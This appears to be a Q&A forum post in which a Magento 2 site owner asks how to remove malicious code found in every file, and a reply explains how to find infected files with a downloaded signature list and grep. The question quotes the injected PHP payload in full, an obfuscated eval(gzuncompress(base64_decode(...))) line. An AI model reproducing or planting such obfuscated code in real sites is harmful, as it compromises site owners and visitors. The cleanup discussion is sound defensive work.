How to remove malicious code from the each files of the website magento 2?

Question

I am seeing some malicious code in the website. Each files of every folder is affected by this code. How to remove this code from the website?

Is any script to remove or replace this malicious code?

<?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));?>

Answer 1

You need to download file from mwscan.s3.amazonaws.com/mwscan.txt

follow below steps

• save file with name mwscan.txt or with other name with txt format.
• Put file into your magento directory root.
• Open terminal and goto magento directory
• fire this command => grep -Erlf mwscan.txt filename/directory-name

grep -Erlf mwscan.txt index.php

grep -Erlf mwscan.txt app

• This will give you result as filenames which have malicious code.

Hope this Helps.

source : https://github.com/gwillem/magento-malware-scanner/blob/master/docs/usage.md